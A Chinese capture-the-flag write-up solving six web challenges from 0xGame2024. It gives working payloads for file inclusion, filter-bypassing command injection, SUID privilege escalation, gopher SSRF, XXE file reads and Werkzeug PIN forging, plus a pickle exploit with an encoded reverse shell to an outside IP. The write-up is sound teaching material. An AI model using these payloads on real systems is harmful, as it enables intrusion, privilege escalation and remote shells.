0xGame2024 week2 web wp
矢车菊 发表于 四川 CTF 447浏览 · 2024-10-20 08:58

[Week 2] hello_include

访问/index.phps得到源码

<?php
echo "Hint: The source code contains important information that must not be disclosed.<br>";
$allowed = ['hello.php', 'phpinfo.php'];
if (isset($_POST['f1Ie'])) {
    if (strpos($_POST['f1Ie'], 'php://') !== false) {
        die('不允许php://');
    }
    include $_POST['f1Ie'];
} else {
    include 'hello.php';
}

访问/phpinfo.php得到flag文件位置

然后直接包含即可

[Week 2] hello_shell

<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
    echo strpos($cmd, ' ');
    die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?

过滤了空格,用%09绕过,将命令执行的结果写入1.txt,读/flag没东西,看下flag同目录下的readME

?cmd=cat%09/readME>1.txt得到

你应该认识到,从网站上获取的任意命令执行的权限并不高,不信的话你试试whoami,看看你是什么用户。
那么,你该怎么才能拿到更高的权限呢?

尝试suid提权

?cmd=find%09/%09-perm%09-4000%092>/dev/null>1.txt得到

/var/www/html/wc
/bin/su
/bin/mount
/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd

用 wc 命令提权

./wc%09--files0-from%09"/flag"%092>1.txt

这里输出报错信息是因为 wc命令本身并不会显示文件的内容,而是输出统计信息,而当发生错误时,文件内容会出现在消息中,所以可以通过查看报错信息来查看文件内容

[Week 2] baby_ssrf

源码

from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket

app = Flask(__name__)
BlackList=[
    "127.0.0.1"
]

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/cmd',methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden"
    if request.method == "GET":
        return "Hello World!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()


@app.route('/visit')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "Hacker!"
    result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
    # print(result.stderr)
    return result.stdout


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8000)

两个路由, cmd 路由用来rce,要本地 ip 才行,visit 路由用来访问指定路由,结合题目,很明显的 ssrf ,绕过 127.0.0.1 的话用 0 就行,cmd 路由要 POST 传参,用gopher协议传就行,payload

visit?url=gopher://0:8000/_POST /cmd HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env

两次url编码后,最终 payload

/visit?url=gopher://0:8000/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%33%25%36%64%25%36%34%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%33%61%25%33%38%25%33%30%25%33%30%25%33%30%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%37%25%30%64%25%30%61%25%30%64%25%30%61%25%36%33%25%36%64%25%36%34%25%33%64%25%36%35%25%36%65%25%37%36

注意这里格式要传对,特别是空格,我就是没传对卡了一会儿,正确格式

错误格式

[Week 2] baby_xxe

源码

from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/parse',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "None"
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None



if __name__=="__main__":
    app.run(host='0.0.0.0',port=8000)

parse 路由直接 xxe 即可,他这里查找的是 root 元素下的 name 元素,直接file协议读flag就行,payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<root><name>&foo;</name></root>

最后记得 url 编码一下

[Week 2] baby_pe

源码

from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    print(request.user_agent.string.lower().find("mozi"))
    return open(__file__).read()


@app.route('/fileread')
def read_file():
    filename = request.args.get('filename')
    return open(filename).read()


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=8000)

可以读任意文件,还开了debug,打flask中的pin码计算,Werkzeug版本为2.3.6,python脚本

import hashlib
from itertools import chain

# werkzeug 2.0.x版本
probably_public_bits = [
    'app'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '2485723353090',  # /sys/class/net/eth0/address mac地址十进制
    '6ee8d0b5126041a1b3ddfefb9ea61b4e'     #非docker机,读/etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

先import os下,进去后查看 /flag 文件说是要root用户,看下 suid 权限的命令

os.popen('find / -perm -u=s -type f 2>/dev/null').read()

可以打 find 提权,最后flag在 root 目录下

os.popen('find main.py -exec cat /root/flag \;').read()

[Week 2] baby_pickle

源码

import pickle
from flask import Flask, request
from base64 import b64decode

app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']


class User:
    username = None
    password = None


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/login', methods=['POST'])
def login():
    data = request.form.get('data')
    if data is not None:
        opcode = b64decode(data)
        for word in BlackList:
            if word in opcode:
                return "Hacker!"
        user = pickle.loads(opcode)
        print(user)
        return "<h1>Hello {}</h1>".format(user.username)
    else:
        username = request.form.get('username')
        password = request.form.get('password')
        if username in UserPool.keys() and password == UserPool[username].password:
            return "<h1>Hello {}</h1>".format(User.username)


@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username')
    password = request.form.get('password')
    if username in UserPool.keys():
        return "<h1>用户{}已存在</h1>".format(username)
    UserPool[username] = password
    return "<h1>注册成功</h1>"


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

有 pickle.loads ,很明显打 pickle 反序列化,过滤了 os.system,还能用 subprocess.run,无回显的话弹个 shell 就行了,exp

import base64
import pickle
import subprocess
class Test(object):
    def __reduce__(self):
        return (subprocess.run,(['bash','-c',"{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTIxLjQwLjE5NS4xOTQiLDIzMzMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oImJhc2giKSc=}|{base64,-d}|{bash,-i}"],))

test = Test()
#protocol=0协议只有文本,其他协议是二进制,可能会产生\x00等数据
opcode = pickle.dumps(test,protocol=0)
print(base64.b64encode(opcode))

最后 flag 在环境变量中

0 条评论
某人
表情
可输入 255